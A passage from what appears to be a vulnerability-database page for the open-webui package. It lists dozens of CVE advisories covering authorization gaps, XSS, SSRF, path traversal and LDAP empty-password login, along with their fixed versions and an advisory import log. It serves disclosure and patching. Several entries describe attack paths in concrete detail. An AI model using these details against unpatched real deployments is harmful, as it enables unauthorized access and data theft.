Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. In versions 0.6.34 and below, the functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt. This issue is fixed in version 0.6.35.
0.6.35
Affected by 53 other vulnerabilities.
VCID-k17g-bd9g-67f7
Aliases:
CVE-2026-44570
GHSA-hmjq-crxp-7rjw
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.19, authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again. This vulnerability is fixed in 0.6.19.
0.6.19
Affected by 56 other vulnerabilities.
VCID-k9jf-5jzd-pkge
Aliases:
CVE-2026-45666
GHSA-x3qm-p8hr-3c3h
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.11, the API /api/v1/notes/{note_id} endpoint lacks proper authorization checks, allowing authenticated users to retrieve notes belonging to other users by guessing or enumerating UUIDs. This results in unauthorized disclosure of potentially sensitive or private user data. This vulnerability is fixed in 0.8.11.
0.8.11
Affected by 39 other vulnerabilities.
VCID-mn21-kwuu-w7by
Aliases:
CVE-2026-44569
GHSA-jxwr-g6r6-j3fx
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.19, there's an IDOR in the channels message management system that allows authenticated users to modify or delete any message within channels they have read access to. The vulnerability exists in the message update and delete endpoints, which implement channel-level authorization but completely lack message ownership validation. While the frontend correctly implements ownership checks (showing edit/delete buttons only for message owners or admins), the backend APIs bypass these protections by only validating channel access permissions without verifying that the requesting user owns the target message. This creates a client-side security control bypass where attackers can directly call the APIs to modify other users' messages. This vulnerability is fixed in 0.6.19.
0.6.19
Affected by 56 other vulnerabilities.
VCID-n4ma-zcpv-5fbp
Aliases:
CVE-2026-44562
GHSA-mqq6-cqcx-38vg
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the POST /api/v1/models/import endpoint allows users with the workspace.models_import permission to overwrite any existing model in the database, regardless of ownership. When an imported model's ID matches an existing model, the endpoint merges the attacker's payload over the existing model data and writes it to the database with no ownership or access grant validation. Additionally, filter_allowed_access_grants is never called, bypassing the access grant restrictions enforced on all other model mutation endpoints. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-nxvm-97r4-6ybz
Aliases:
CVE-2026-44560
GHSA-h36f-rqpx-j5wx
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the type: "file" (non-full-context), type: "text" with collection_name, and bare collection_name/collection_names paths in the get_sources_from_items function perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-pkds-1xgn-q3bv
Aliases:
CVE-2026-44551
GHSA-2r4p-jpmg-48f4
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-pvep-chj7-ekeg
Aliases:
CVE-2025-64496
GHSA-cm35-v4vp-5xvx
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.
0.6.35
Affected by 53 other vulnerabilities.
VCID-pwsg-72yy-quhk
Aliases:
CVE-2026-45350
GHSA-4pcg-253r-rf9w
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.6, there is a vulnerability in chat completion API, which allows attackers to bypass tool restrictions, potentially enabling unauthorized actions or access. In the chat_completion API, the parameters tool_ids and tool_servers are supplied by the user. These parameters are used to create a tools_dict by the middleware. This is then used by get_tool_by_id to retrieve the appropriate tool. However, there is no checks in that ensures the user that uses the API has permission to use the tool, meaning that a user can invoke any server tool by supplying the correct tool_id or tool_servers parameters via the chat completion API. Moreover, the authentication token stored in the server would be used when invoking the tool, so the tool will be invoked with the server privilege. This vulnerability is fixed in 0.8.6.
0.8.6
Affected by 43 other vulnerabilities.
VCID-q682-k826-efhv
Aliases:
CVE-2026-45338
GHSA-24c9-2m8q-qhmh
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-qgfh-7u8n-y7c7
Aliases:
CVE-2026-45671
GHSA-26g9-27vm-x3q8
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, any authenticated user can permanently delete files owned by other users via DELETE /api/v1/files/{id} when the target file is referenced in any shared chat. The has_access_to_file() authorization gate unconditionally grants access through its shared-chat branch. It checks neither the requesting user's identity nor the type of operation being performed. File UUIDs (which would otherwise be impractical to guess) are disclosed to any user with read access to a knowledge base via GET /api/v1/knowledge/{id}/files. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-qjt1-zxx8-r7ht
Aliases:
CVE-2026-44554
GHSA-7r82-qhg4-6wvj
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collection_name and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, save_docs_to_vector_db calls VECTOR_DB_CLIENT.delete_collection() on the target collection before writing new content. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-r7vt-4bqm-f7hb
Aliases:
CVE-2026-44559
GHSA-c7wp-3qh5-55pv
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the GET /api/v1/channels/{id}/members endpoint only checks membership for group and dm channel types (lines 467-469). For standard channels — including private ones — there is no channel_has_access check before returning the member list. Any authenticated user who knows a private channel's UUID can enumerate all users with access to that channel. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-reqw-pfm8-c7g5
Aliases:
CVE-2026-45672
GHSA-482j-2pq6-q5w4
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.12, the /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. This vulnerability is fixed in 0.8.12.
0.8.12
Affected by 38 other vulnerabilities.
VCID-rhhj-rccv-87hw
Aliases:
CVE-2026-45331
GHSA-4v7r-f4w8-8972
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-s625-eg1w-gfd1
Aliases:
CVE-2026-44563
GHSA-rcvp-6fgw-c7fh
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the /api/generate, /api/embed, /api/embeddings, and /api/show endpoints accept any model name from the user and forward the request to the Ollama backend without checking whether the user is authorized to access that model. These endpoints only require get_verified_user (any authenticated non-pending user) and validate that the model exists in the full unfiltered model list, but never check AccessGrants.has_access(). This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-t571-d65a-cyb2
Aliases:
CVE-2026-45675
GHSA-h3ww-q6xx-w7x3
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, he LDAP and OAuth authentication flows use a TOCTOU (Time-of-Check-Time-of-Use) pattern for first-user admin role assignment. The regular signup handler (signup_handler in auths.py, line 663) was explicitly patched to prevent this race with the comment "Insert with default role first to avoid TOCTOU race", but the LDAP and OAuth code paths were never updated with the same fix. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-tz2k-gazs-mqgd
Aliases:
CVE-2026-44565
GHSA-j3fw-wc48-29g3
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.10, when uploading an audio file, the name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This vulnerability is fixed in 0.6.10.
0.6.10
Affected by 58 other vulnerabilities.
VCID-u25g-p4nx-gqd1
Aliases:
CVE-2026-28788
GHSA-jjp7-g2jw-wh3j
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, any authenticated user can overwrite any file's content by ID through the `POST /api/v1/retrieval/process/files/batch` endpoint. The endpoint performs no ownership check, so a regular user with read access to a shared knowledge base can obtain file UUIDs via `GET /api/v1/knowledge/{id}/files` and then overwrite those files, escalating from read to write. The overwritten content is served to the LLM via RAG, meaning the attacker controls what the model tells other users. Version 0.8.6 patches the issue.
0.8.6
Affected by 43 other vulnerabilities.
VCID-ujye-g4rj-8be5
Aliases:
CVE-2026-44571
GHSA-jgj3-r8hr-9pjw
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.6, in standard channels (i.e., channels whose channel.type is neither group nor dm), the endpoint POST /api/v1/channels/{channel_id}/messages/{message_id}/update can be accessed with read permission only. When access_control is set to None, the authorization check has_access(..., type="read") evaluates to True, allowing users who are not the message owner to update messages. As a result, unauthorized modification of other users’ messages is possible. This vulnerability is fixed in 0.8.6.
0.8.6
Affected by 43 other vulnerabilities.
VCID-um53-kf7u-kkg6
Aliases:
CVE-2026-34222
GHSA-7429-hxcv-268m
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.11, there is a broken access control vulnerability in tool values. This issue has been patched in version 0.8.11.
0.8.11
Affected by 39 other vulnerabilities.
VCID-vghe-uuzj-m7cu
Aliases:
CVE-2026-44568
GHSA-fq3v-xjjx-95rc
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the AccountPending.svelte component renders the admin-configured "Pending User Overlay Content" using marked.parse() inside {@html} with an incorrect DOMPurify application order. An admin can inject arbitrary JavaScript into the Pending User Overlay Content that executes in the browser context of any pending user who views the overlay page. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-vj38-mn12-v7br
Aliases:
CVE-2024-12537
GHSA-chf7-q7m5-fq92
In version 0.3.32 of open-webui/open-webui, the absence of authentication mechanisms allows any unauthenticated attacker to access the `api/v1/utils/code/format` endpoint. If a malicious actor sends a POST request with an excessively high volume of content, the server could become completely unresponsive. This could lead to severe performance issues, causing the server to become unresponsive or experience significant degradation, ultimately resulting in service interruptions for legitimate users.
0.3.33.dev1
Affected by 65 other vulnerabilities.
VCID-vkx3-71kv-sugt
Aliases:
CVE-2026-44555
GHSA-9vvh-qmjx-p4q8
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI supports model composition via base_model_id: a user-defined model (e.g., "Cheap Assistant") can reference an existing base model (e.g., "gpt-4-turbo-restricted") that provides the actual inference capability. When a user queries the composed model, the access control pipeline verifies the user has access to the composed model but never re-verifies access to the chained base model. Additionally, the model creation and import endpoints accept arbitrary base_model_id values without checking that the caller has access to that base model. Combined, this allows any user with the default model creation permission to create a model that chains to a restricted base model — and then invoke it, causing the server to dispatch the request to the restricted base model using the admin-configured API key. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-w2vd-r3hr-w3bt
Aliases:
CVE-2026-44721
GHSA-gf5m-wcrh-7928
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-wb88-83cj-ffhy
Aliases:
CVE-2026-45351
GHSA-jh9g-8jqw-m2qx
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.9, when a regular user [non-admin] logs into the application, a http://IP:8080/api/models? web request is initiated by the application and in response, it reveals the system prompt of available models set by admin on models pages in workspace affecting the confidentiality of application. This vulnerability is fixed in 0.8.9.
0.8.9
Affected by 42 other vulnerabilities.
VCID-wcz4-vwx4-tufb
Aliases:
CVE-2026-45315
GHSA-m8f9-9whg-f4xr
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.
0.9.3
Affected by 10 other vulnerabilities.
VCID-yug9-shts-kufb
Aliases:
CVE-2026-45396
GHSA-rjmp-vjf2-qf4g
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-yysb-dk2k-f7g4
Aliases:
CVE-2026-44553
GHSA-45m8-cpm2-3v65
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, administrative role changes and user deletions do not iterate SESSION_POOL to disconnect affected sessions. As a result, a user whose admin role has been revoked retains admin privileges within their existing Socket.IO session for as long as they keep the connection alive (via automatic heartbeats). The gap is exclusive to the Socket.IO session cache. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-ze3m-g96u-27fc
Aliases:
CVE-2026-44564
GHSA-vrfh-rj4q-rmhr
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the ydoc:document:update Socket.IO event handler checks whether the sender is a member of the document's Socket.IO room (line 678) but does not verify that the sender has write permission. Users with read-only access join the document room via ydoc:document:join, which only requires read permission (line 520). Once in the room, the user can emit ydoc:document:update events that modify the in-memory Yjs document state and are broadcast to all other collaborators in real time. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-13T21:02:59.353765+00:00 GitLab Importer Affected by VCID-dzh3-rqx4-fqhv https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45398.yml 38.6.0
2026-06-13T21:02:58.664988+00:00 GitLab Importer Affected by VCID-reqw-pfm8-c7g5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45672.yml 38.6.0
2026-06-13T21:02:54.115457+00:00 GitLab Importer Affected by VCID-8nzh-cpda-dkca https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45316.yml 38.6.0
2026-06-13T21:02:53.447335+00:00 GitLab Importer Affected by VCID-k9jf-5jzd-pkge https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45666.yml 38.6.0
2026-06-13T21:02:52.511928+00:00 GitLab Importer Affected by VCID-q682-k826-efhv https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45338.yml 38.6.0
2026-06-13T21:02:50.845820+00:00 GitLab Importer Affected by VCID-yug9-shts-kufb https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45396.yml 38.6.0
2026-06-13T21:02:50.137701+00:00 GitLab Importer Affected by VCID-qgfh-7u8n-y7c7 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45671.yml 38.6.0
2026-06-13T21:02:49.656569+00:00 GitLab Importer Affected by VCID-gw77-ux3j-qfaa https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45303.yml 38.6.0
2026-06-13T21:02:47.153001+00:00 GitLab Importer Affected by VCID-jfs9-dps1-27a2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45349.yml 38.6.0
2026-06-13T21:02:46.445440+00:00 GitLab Importer Affected by VCID-ef1t-pxjm-j7cz https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/GHSA-3wgj-c2hg-vm6q.yml 38.6.0
2026-06-13T21:02:40.174350+00:00 GitLab Importer Affected by VCID-1tu1-b9de-nfaa https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45385.yml 38.6.0
2026-06-13T21:02:38.608895+00:00 GitLab Importer Affected by VCID-wb88-83cj-ffhy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45351.yml 38.6.0
2026-06-13T21:02:37.823028+00:00 GitLab Importer Affected by VCID-hj5f-yk3y-ffdg https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45387.yml 38.6.0
2026-06-13T21:02:32.717793+00:00 GitLab Importer Affected by VCID-2rs8-62x1-s7h7 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45299.yml 38.6.0
2026-06-13T21:02:31.598384+00:00 GitLab Importer Affected by VCID-t571-d65a-cyb2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45675.yml 38.6.0
2026-06-13T21:02:26.040814+00:00 GitLab Importer Affected by VCID-3436-znsq-guds https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45399.yml 38.6.0
2026-06-13T21:02:17.418923+00:00 GitLab Importer Affected by VCID-6rbm-rm25-hqgy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45365.yml 38.6.0
2026-06-13T21:02:16.722353+00:00 GitLab Importer Affected by VCID-dz6g-jgmg-wqce https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45318.yml 38.6.0
2026-06-13T21:02:12.702599+00:00 GitLab Importer Affected by VCID-4x63-8x64-d3bq https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45400.yml 38.6.0
2026-06-13T21:02:12.019142+00:00 GitLab Importer Affected by VCID-5wfg-zqcy-c7ar https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45317.yml 38.6.0
2026-06-13T21:02:08.897087+00:00 GitLab Importer Affected by VCID-rhhj-rccv-87hw https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45331.yml 38.6.0
2026-06-13T21:02:00.855016+00:00 GitLab Importer Affected by VCID-pwsg-72yy-quhk https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45350.yml 38.6.0
2026-06-13T21:01:59.657033+00:00 GitLab Importer Affected by VCID-cw4k-3s8z-uqh8 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45401.yml 38.6.0
2026-06-13T21:01:57.876143+00:00 GitLab Importer Affected by VCID-1svn-zazq-e3f2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45347.yml 38.6.0
2026-06-13T21:01:48.084088+00:00 GitLab Importer Affected by VCID-5jna-wvd7-j7cm https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45397.yml 38.6.0
2026-06-13T21:01:41.493332+00:00 GitLab Importer Affected by VCID-1g27-4vq6-7kdz https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45386.yml 38.6.0
2026-06-13T21:01:35.993298+00:00 GitLab Importer Affected by VCID-wcz4-vwx4-tufb https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45315.yml 38.6.0
2026-06-13T21:01:35.297735+00:00 GitLab Importer Affected by VCID-66zh-9jk7-9bfx https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45667.yml 38.6.0
2026-06-13T21:01:29.754666+00:00 GitLab Importer Affected by VCID-4v8w-kv6g-kkbc https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45402.yml 38.6.0
2026-06-13T21:01:29.341281+00:00 GitLab Importer Affected by VCID-9zyk-459z-x3a4 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45345.yml 38.6.0
2026-06-13T21:01:26.721055+00:00 GitLab Importer Affected by VCID-8y4k-pj2n-8uhm https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-45314.yml 38.6.0
2026-06-12T22:27:54.322405+00:00 GitLab Importer Affected by VCID-68jf-2utx-x7br https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/GHSA-6xcp-7mpr-m7wm.yml 38.6.0
2026-06-12T22:27:05.000147+00:00 GitLab Importer Affected by VCID-tz2k-gazs-mqgd https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44565.yml 38.6.0
2026-06-12T22:26:41.396303+00:00 GitLab Importer Affected by VCID-k17g-bd9g-67f7 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44570.yml 38.6.0
2026-06-12T22:26:21.741464+00:00 GitLab Importer Affected by VCID-mn21-kwuu-w7by https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44569.yml 38.6.0
2026-06-12T22:25:29.522979+00:00 GitLab Importer Affected by VCID-ujye-g4rj-8be5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44571.yml 38.6.0
2026-06-12T22:25:09.520429+00:00 GitLab Importer Affected by VCID-5wzn-mfwg-ybc3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44558.yml 38.6.0
2026-06-12T22:25:07.379809+00:00 GitLab Importer Affected by VCID-2xdz-v8cw-fygv https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44556.yml 38.6.0
2026-06-12T22:25:03.472412+00:00 GitLab Importer Affected by VCID-vghe-uuzj-m7cu https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44568.yml 38.6.0
2026-06-12T22:25:01.135971+00:00 GitLab Importer Affected by VCID-qjt1-zxx8-r7ht https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44554.yml 38.6.0
2026-06-12T22:24:54.771767+00:00 GitLab Importer Affected by VCID-32yb-vsfs-43a8 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44561.yml 38.6.0
2026-06-12T22:24:49.328400+00:00 GitLab Importer Affected by VCID-chug-ma8r-cucc https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44557.yml 38.6.0
2026-06-12T22:24:48.605950+00:00 GitLab Importer Affected by VCID-r7vt-4bqm-f7hb https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44559.yml 38.6.0
2026-06-12T22:24:45.974436+00:00 GitLab Importer Affected by VCID-vkx3-71kv-sugt https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44555.yml 38.6.0
2026-06-12T22:24:45.238746+00:00 GitLab Importer Affected by VCID-5319-t7jm-y3bx https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44550.yml 38.6.0
2026-06-12T22:24:23.213043+00:00 GitLab Importer Affected by VCID-ze3m-g96u-27fc https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44564.yml 38.6.0
2026-06-12T22:24:19.130593+00:00 GitLab Importer Affected by VCID-pkds-1xgn-q3bv https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44551.yml 38.6.0
2026-06-12T22:24:10.389215+00:00 GitLab Importer Affected by VCID-yysb-dk2k-f7g4 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44553.yml 38.6.0
2026-06-12T22:24:07.543561+00:00 GitLab Importer Affected by VCID-9jud-sr2a-8yc3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44549.yml 38.6.0
2026-06-12T22:24:05.219437+00:00 GitLab Importer Affected by VCID-s625-eg1w-gfd1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44563.yml 38.6.0
2026-06-12T22:24:04.513155+00:00 GitLab Importer Affected by VCID-n4ma-zcpv-5fbp https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44562.yml 38.6.0
2026-06-12T22:24:00.977430+00:00 GitLab Importer Affected by VCID-14xt-qwyg-w3cj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44552.yml 38.6.0
2026-06-12T22:24:00.289636+00:00 GitLab Importer Affected by VCID-nxvm-97r4-6ybz https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44560.yml 38.6.0
2026-06-12T22:23:58.297309+00:00 GitLab Importer Affected by VCID-w2vd-r3hr-w3bt https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-44721.yml 38.6.0
2026-06-12T21:45:30.193849+00:00 GitLab Importer Affected by VCID-um53-kf7u-kkg6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-34222.yml 38.6.0
2026-06-12T21:41:06.610346+00:00 GitLab Importer Affected by VCID-7nbc-ng1s-suck https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-29071.yml 38.6.0
2026-06-12T21:40:50.988660+00:00 GitLab Importer Affected by VCID-u25g-p4nx-gqd1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-28788.yml 38.6.0
2026-06-12T21:40:00.966167+00:00 GitLab Importer Affected by VCID-8n6u-wgz9-1bgj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-28786.yml 38.6.0
2026-06-12T21:39:50.728153+00:00 GitLab Importer Affected by VCID-4rz6-hw32-jueb https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2026-29070.yml 38.6.0
2026-06-12T20:38:42.901300+00:00 GitLab Importer Affected by VCID-7j5a-pu4k-kucf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2025-63681.yml 38.6.0
2026-06-12T20:38:40.569774+00:00 GitLab Importer Affected by VCID-94nj-qkdf-xfhn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2025-65958.yml 38.6.0
2026-06-12T20:28:50.447150+00:00 GitLab Importer Affected by VCID-jnsg-u9dy-r3d5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2025-64495.yml 38.6.0
2026-06-12T20:28:49.220784+00:00 GitLab Importer Affected by VCID-pvep-chj7-ekeg https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2025-64496.yml 38.6.0
